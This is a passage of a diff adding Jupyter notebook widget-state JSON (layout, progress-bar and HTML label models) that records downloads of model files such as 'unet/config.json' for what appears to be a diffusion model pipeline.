"@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bf52593db97e4b5f876d22d5c27e8c0d", + "max": 209267595, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ed79049f4f3a41899ce7744c6733bf27", + "value": 209267595 + } + }, + "8119e3c1840d4e0b975055cb0c255208": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "814f29773b6b40d99d03320a3f5fe7d4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_36de2037f4b841afb366f27a7eb08396", + "placeholder": "​", + "style": "IPY_MODEL_cb805d94485c4ff5a0aaec67e6cdb827", + "value": "Downloading (…)rocessor_config.json: 100%" + } + }, + "81b870c0f0b6482a9f1dbd3fac0d935c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "81f9fd794d22477f8836a11322d5325b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "83067a7d3f454087ac1de91bf17c7339": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8328f2c010f4426fbfef22482701f516": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "834aa09c8e984c819849676acdf25dae": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "838cb3152f3c48ec814de02def9b75f2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "83b4c17fa697445f86f7f034fe670934": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_707ce79ce0da4f35ad6b8f636d2901f8", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_261aabd2415d43809b669b49f3899504", + "value": 20 + } + }, + "83cb84140f504cdaa6d5ed308baaa9bf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_75837fa1f8ed4a7b8734f0c49e3bb6d0", + "max": 1445157124, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_527478832a8e451ea056c50ee2b241ab", + "value": 1445157124 + } + }, + "846c2df4629c416baea2612ea2c84a16": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_71b5693eda974ad78235b59d848304ab", + "max": 617, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_35aa99e07e7d469ba9a46d80bb9908bb", + "value": 617 + } + }, + "8477b0d8ae344f78ba17f537e0e2448f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "847b736c058c47f9adf366c4bb920a0d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "848755aa7d4a4889b85870aac916c5ff": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "84e8bc8164b948d8897a8637c226ef1c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "84f1832335f44d73b6a1a588f0e79a11": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e90005c8a5664c6f80e37268666f1a9f", + "placeholder": "​", + "style": "IPY_MODEL_783dca59f6a54589b6fb848cb13c5f3f", + "value": " 1.45G/1.45G [00:10<00:00, 140MB/s]" + } + }, + "851c4973cb0c4fbe91536a09f006ad43": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "85caf1e9b73e46cea1ce2c4ebf92554b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4332d0e942ea406daeca4e1bbd36d4cb", + "max": 1445157124, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_44d7b2f89c984dcda69f368adbdf846f", + "value": 1445157124 + } + }, + "869c22e5399145dab7e36633b910abca": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_6e89b30bfcd04f1ebc77492eae365847", + "IPY_MODEL_7f27d4dadc2a4c4783f35193cf085593", + "IPY_MODEL_fa4ce3277cce4064aaf40849870966c1" + ], + "layout": "IPY_MODEL_d2324949415f4df2a964046b326231a4" + } + }, + "87d4c1e6a2a047f887704f6b0a148d2e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "87fcb7d5949d440dbe3c18e7059e65ad": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "88491458b25e4ae5a66afeaae7f76c12": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "88e4029063f44ce5a7e89e8f17664eeb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "89a159fc68ef4972a0368c72306cd8c4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "89abbaee27c441b3ab1c656806a7e67d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "89feac2a7b7d47388548f946fff4c862": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8adb835bb80941dfa3e21c9dac93d793": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8b7c3bcf27644ac09871f733662c4d8b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8baeb11dd15840e691eadde3f79bf4f2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_97348ede0e464090845a56a64a53e493", + "placeholder": "​", + "style": "IPY_MODEL_282f7b2aeec54a81b94da85c85c7cb75", + "value": " 492M/492M [00:05<00:00, 135MB/s]" + } + }, + "8bc53de7028e4a05bc683a6f47548d62": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8c0d69533b674629b69a64345fc4d67e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8c4e2621ec244a2db21262a8ed0e4ab7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "8cb0f3ae820947a5984dd422b33776dd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b5462a2b462147899d82f6b4617cf781", + "placeholder": "​", + "style": "IPY_MODEL_d84093973fe84b06bb05f125ab7a11bb", + "value": "Downloading (…)e6a/unet/config.json: 100%" + } + }, + "8cec2e55fc3542789938c24adb050ca9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ec7bdbec2fc342f38039b8420a162a25", + "max": 492265874, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_dab4d54863e24f169f18999da88be46f", + "value": 492265874 + } + }, + "8d27414ca68a4494ab3febc1c8a03025": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_77a73421b7ae4bfe9fcb87353a121402", + "placeholder": "​", + "style": "IPY_MODEL_7bee130b66754bbc85e8454455ece425", + "value": " 3.44G/3.44G [00:22<00:00, 270MB/s]" + } + }, + "8d2da5062f414a7f8c98facdd7d2bad0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8d2f2b219308442db07d23b057f8e7cf": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8d62ab081ff94e7abe3cc911d3376bbd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8dd1b3d2ce124d2a92d69bb1897a078e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2898c9af6aea4c79a4f9e89e24275083", + "max": 472, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_c34ca1ea918344188c3241400aa3e775", + "value": 472 + } + }, + "8e31c3cc06bd4e9b92c3b1e6d5a9d61f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7c2b45b1cf2a485b93e52b2dee04a278", + "placeholder": "​", + "style": 